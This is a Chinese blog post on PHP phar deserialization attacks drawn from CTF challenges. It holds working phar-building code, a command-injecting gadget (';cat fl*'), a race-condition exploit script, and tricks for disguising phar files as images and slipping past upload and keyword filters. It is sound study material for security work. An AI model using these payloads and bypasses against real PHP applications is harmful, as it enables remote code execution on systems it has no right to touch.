文章首发于Freebuf
https://www.freebuf.com/articles/web/291992.html

利用phar文件会以序列化的形式存储用户自定义的meta-data这一特性,拓展php反序列化漏洞的攻击面,这篇文章来总结下ctf遇到的phar的利用和绕过方式

Phar文件结构

phar文件是php里类似于JAR的一种打包文件本质上是一种压缩文件,在PHP 5.3 或更高版本中默认开启,一个phar文件一个分为四部分

1.a stub可以理解为一个标志,格式为xxx<?php xxx; __HALT_COMPILER();?>,前面内容不限,但必须以__HALT_COMPILER();来结尾,否则phar扩展将无法识别这个文件为phar文件
2.a manifest describing the contentsphar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是上述攻击手法最核心的地方
3.the file contents
被压缩文件的内容
4.[optional] a signature for verifying Phar integrity (phar file format only)签名,放在文件末尾

生成phar文件

php内置了一个Phar类来处理相关操作

<?phpclass TestObject {}@unlink("phar.phar");$phar = new Phar("phar.phar"); //后缀名必须为phar$phar->startBuffering();$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub$o = new TestObject();$phar->setMetadata($o); //将自定义的meta-data存入manifest$phar->addFromString("test.txt", "test"); //添加要压缩的文件//签名自动计算$phar->stopBuffering();
?>

注意:要将php.ini中的phar.readonly选项设置为Off,否则无法生成phar文件

访问之后会在同目录生成 phar.phar 文件,xxd 命令查看文件结构

meta-data是以序列化的形式存储的

php一大部分的文件系统函数在通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化,测试后受影响的函数如下

<?php class TestObject {public function __destruct() {echo 'Destruct called';}}$filename = 'phar://phar.phar/test.txt';file_get_contents($filename);
?>

析构方法被调用,注意此处 weakup 等方法不会被调用

这样就可以在不调用unserialize()的情况下进行反序列化操作

参考文章:https://paper.seebug.org/680/

Phar协议文件包含

phar协议要求:

  • php大于5.3.0
  • 需要将php.ini的参数phar.readonly设置为off

因为phar文件本质就是以中压缩文件,所以可以使用phar伪协议读取执行

很多网站都采用单一入口模式来作为网站文件加载模式

<?php
//单一入口模式
error_reporting(0); //关闭错误显示
$file=addslashes($_GET['r']); //接收文件名
$action=$file==''?'index':$file; //判断为空或者等于index
include($action.'.php'); //载入相应文件
?>

此处就存在文件包含漏洞,可以利用伪协议读取文件源码,但是只能访问php文件

如果该网站同时存在上传图片的功能,这时就可以利用phar反序列化漏洞

首先写一个 test.php,写入要执行的命令

<?php phpinfo();?>

将 test.php 压缩为 test.zip 注意:压缩时选择仅存储,在文件上传处上传 test.zip 文件

将 test.zip 文件后缀改为 jpg,上传 jpg 文件,在 url 中访问

?r=phar://pic/test.jpg/test

不仅可以使用phar协议,zip协议也是可以的

zip文件包含

和phar用法不同效果一致

include($file.'.jpg');
# \x00的截断在php<5.3.4you'xi

将php文件后缀改为jpg(因为是include .jpg),然后用压缩软件压缩为 zip格式,再将 zip 文件后缀名改为 jpg(绕过限制方便图片上传)

/?r=zip://pic/test4.jpg%23testpic是图片保存目录

这个例子只是利用了phar伪协议解析文件,并没有利用反序列化

Phar反序列化漏洞利用

既然很多函数可以触发phar反序列化,那么接下来就要实际利用该漏洞

漏洞利用条件

  1. phar文件要能够上传到服务器端。
  2. 要有可用的魔术方法作为“跳板”。
  3. 文件操作函数的参数可控,且:/phar等特殊字符没有被过滤

以一个demo来说明

ctfshow web276 phar反序列化+条件竞争

class filter{public $filename;public $filecontent;public $evilfile=false;public $admin = false;public function __construct($f,$fn){$this->filename=$f;$this->filecontent=$fn;}public function checkevil(){if(preg_match('/php|\.\./i', $this->filename)){$this->evilfile=true;}if(preg_match('/flag/i', $this->filecontent)){$this->evilfile=true;}return $this->evilfile;}public function __destruct(){if($this->evilfile && $this->admin){system('rm '.$this->filename);}}
}if(isset($_GET['fn'])){$content = file_get_contents('php://input');$f = new filter($_GET['fn'],$content);if($f->checkevil()===false){file_put_contents($_GET['fn'], $content);copy($_GET['fn'],md5(mt_rand()).'.txt');unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']);echo 'work done';}}else{echo 'where is flag?';
}

发现可以通过 file_put_contents 写 phar 文件,然后题目中 file_put_contents 第一个参数可控,那么我们可以使用 phar:// 协议,通过 $content 传入 phar 数据,这样在 PHP 通过 phar:// 协议解析数据时,会将 meta-data 部分进行反序列化

不过题目会删除文件,所以需要在删除文件前执行文件进行以上操作,因此要用到条件竞争,即生成了 phar 文件,在极短时间内文件是存在的,因为执行到 unlink 函数前还有一个 copy 文件操作,磁盘 io 是需要一定时间的。只要我们不断在写入 phar 文件,那么这个文件就可以断断续续访问到

phar构造如下,会在当前目录生成 evil.phar 文件

<?php
class filter
{public $filename = ';cat fl*';public $evilfile = true;public $admin = true;
}// 后缀必须为phar
$phar = new Phar("evil.phar");
$phar->startBuffering();
// 设置 stubb
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$o = new filter();
/*** 将自定义的 meta-data 存入 manifest* 这个函数需要在php.ini中修改 phar.readonly 为 Off* 否则的话会抛出 * creating archive "***.phar" disabled by the php.ini setting phar.readonly * 异常.*/
$phar->setMetadata($o);
// 添加需压缩的文件
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();?>

条件竞争,py3脚本

import base64
import requests
import threadingflag = False
url = 'ip'
data = open('./evil.phar', 'rb').read()pre_resp = requests.get(url)
if pre_resp.status_code != 200:print(url + '\n链接好像挂了....')exit(1)def upload():requests.post(url+"?fn=evil.phar", data=data)def read():global flagr = requests.post(url+"?fn=phar://evil.phar/", data="")if "ctfshow{" in r.text and flag is False:print(base64.b64encode(r.text.encode()))flag = Truewhile flag is False:a = threading.Thread(target=upload)b = threading.Thread(target=read)a.start()b.start()

将phar伪造成其他格式的文件

如果文件上传界面后端代码会检查文件类型的话,就需要将 phar 文件未造成其他格式文件

$_FILES["file"]["type"]=="image/gif"

由于php识别phar文件是通过其文件头的stub,更确切一点来说是__HALT_COMPILER();这段代码,对前面的内容或者后缀名是没有要求的。那么我们就可以通过添加任意的文件头+修改后缀名的方式将phar文件伪装成其他格式的文件

<?phpclass TestObject {}@unlink("phar.phar");$phar = new Phar("phar.phar");$phar->startBuffering();$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub,增加gif文件头$o = new TestObject();$phar->setMetadata($o); //将自定义meta-data存入manifest$phar->addFromString("test.txt", "test"); //添加要压缩的文件//签名自动计算$phar->stopBuffering();
?>

采用这种方法可以绕过很大一部分上传检测

绕过phar关键字检测

在第一个实例中,文件成功上传之后使用 phar 伪协议去读取文件,但是如果后端检测参数不能以 phar 开头的话,就需要绕过

if (preg_match("/^php|^file|^gopher|^http|^https|^ftp|^data|^phar|^smtp|^dict|^zip/i",$filename){die();
}

绕过方法

// Bzip / Gzip 当环境限制了phar不能出现在前面的字符里。可以使用compress.bzip2://和compress.zlib://绕过
compress.bzip://phar:///test.phar/test.txt
compress.bzip2://phar:///home/sx/test.phar/test.txt
compress.zlib://phar:///home/sx/test.phar/test.txt
php://filter/resource=phar:///test.phar/test.txt
// 还可以使用伪协议的方法绕过
php://filter/read=convert.base64-encode/resource=phar://phar.phar

绕过__HALT_COMPILER特征检测

if (preg_match("/</?|php|HALT_COMPILER/i",$filename){die();
}

因为phar中的a stub字段必须以__HALT_COMPILER();字符串来结尾,否则phar扩展将无法识别这个文件为phar文件,所以这段字符串不能省略,只能绕过

方法一:

首先将 phar 文件使用 gzip 命令进行压缩,可以看到压缩之后的文件中就没有了__HALT_COMPILER(),将 phar.gz 后缀改为 png(png文件可以上传)

文件上传成功后,利用文件包含漏洞包含文件

file_un.php?filename=phar://pic/phar.phar.gz/phar.phar
# file_un.php中包含__destruct并且可以被触发

方法二

将phar的内容写进压缩包注释中,也同样能够反序列化成功,压缩为zip也会绕过该正则

$phar_file = serialize($exp);echo $phar_file;$zip = new ZipArchive();$res = $zip->open('1.zip',ZipArchive::CREATE); $zip->addFromString('crispr.txt', 'file content goes here');$zip->setArchiveComment($phar_file);$zip->close();

这篇文章在php源码角度给出分析:https://www.anquanke.com/post/id/240007

phar反序列化过程中,对metadata进行解析的时候会进行php_var_unserialize()将Phar中的metadata进行反序列化

参考文章

https://xz.aliyun.com/t/2958

https://xz.aliyun.com/t/2715

https://paper.seebug.org/680/

https://blog.csdn.net/solitudi/article/details/113588692

PHP Phar反序列化总结相关推荐

  1. thinkphp5 注入 反序列化写文件 phar反序列化

    原文出处: 红队攻击第3篇 thinkphp5框架 注入 反序列化写文件 phar反序列化 (qq.com) 1.SQL注入1 <?phpnamespace app\index\controll ...

  2. 【phar反序列化与GC回收机制的利用】

    认识phar phar是什么?简单来说就是把php压缩而成的打包文件,无需解压,可以通过phar://协议直接读取内容 ,大多数PHP文件操作允许使用各种URL协议去访问文件路径:如data://,z ...

  3. PHP phar反序列化

    以题为例 进来后我们注册一个账户并登录 查看一下网页源代码发,并没有发现什么我们上传个文件看看能不能通过菜刀获取权限 发现并不能连接上.此时我们通过BP抓包看看能不能获取到有用的信息 发现一个file ...

  4. 文件上传与Phar反序列化的摩擦

    提示:文章yu写完后,目录可以自动生成,如何生成可参考右边的帮助文档 目录 前言 一.Phar是什么? 二.Phar压缩文件的组成 三.Phar伪协议 四.SWPU 2018[SimplePHP] 五 ...

  5. phar反序列化小结

    0x00 phar反序列化 phar反序列化即在文件系统函数(file_exists().is_dir()等)参数可控的情况下,配合phar://伪协议,可以不依赖unserialize()直接进行反 ...

  6. 记一道CTF中的phar反序列化

    Author: takahashi 提要 最近这段时间恍恍惚惚有点不知道干嘛, 想着闲来无事不如去做两道CTF,于是有了此文.记录一下自己做题的思路过程以及遇到的一些问题, 有不对不足之处还望师傅们斧 ...

  7. PHP之phar反序列化

    前言 phar反序列化来自Secarma的安全研究员Sam Thomas发现了一种新的漏洞利用方式.或许有人对phar的理解只停留在phar://协议中甚至连phar协议都没有听过,至少在了解phar ...

  8. php phar 混淆,深入理解PHP Phar反序列化漏洞原理及利用方法(一)

    Phar反序列化漏洞是一种较新的攻击向量,用于针对面向对象的PHP应用程序执行代码重用攻击,该攻击方式在Black Hat 2018会议上由安全研究员Sam Thomas公开披露.类似于对编译二进制文 ...

  9. 【Web安全】从xxe到phar反序列化

    **重要:**在 PHP 里面解析 xml 用的是 libxml,当 libxml 的版本大于 2.9.0 的时候默认是禁止解析 xml 外部实体内容的. 以下代码存在 xxe 漏洞. xml.php ...

最新文章

  1. mysql 线性表_数据结构-线性表之顺序表
  2. logistic 回归_具有Logistic回归的优秀初学者项目
  3. C++获取一段算法程序耗时方法
  4. win8计算机安全模式,WIN8如何设置按F8进入安全模式
  5. MongoDB Sharding 请勿复用已删除的 namespace
  6. 双边滤波器—— Matlab实现
  7. 宋利兵 mysql_MySQL数据库InnoDB存储引擎Log漫游(3)
  8. validate参数校验和数据回显
  9. 基于变步长扰动观察法的最大功率点跟踪
  10. 数字通信原理与TCP/IP
  11. 《自然语言处理实战入门》文本分类 ---- 使用词向量与SVM 进行文本分类
  12. c#阿里CSB接口对接--
  13. python安装第三方库的方法
  14. 如何一键修改CAD图纸底图颜色?
  15. MySQL基础知识点集合
  16. KEIL4 的操作技巧
  17. 二进制安装Kubernetes(k8s) v1.24.0 IPv4
  18. 美团笔试题_20220409
  19. MySQL安装与启动
  20. 微服务治理之分布式链路追踪--3.zipkin实战

热门文章

  1. 西安工业大学计算机调剂分数,2019年西安工业大学硕士研究生调剂录取有关事项的通知...
  2. 排序算法(c语言版)
  3. 一周 AIGC 丨谷歌正面反击 GPT-4,Claude 一分钟看完万字长文,Stability AI 发布文生动画工具...
  4. 基于POSIX下REGEX库的文本URL过滤(C/C++语言)
  5. vue 日期选择器默认时间_ant-design-vue 时间选择器赋值默认时间的操作
  6. 【全国产龙芯平台】迅为iTOP-LS3A5000_7A2000开发板+银河麒麟操作系统
  7. 你知道螺母输送自动点焊机有哪些优点吗
  8. Linux 图形领域的基础设施
  9. pytorch中的numel函数
  10. C语言解析IPv4地址段 - 获取地址总数即每个IP地址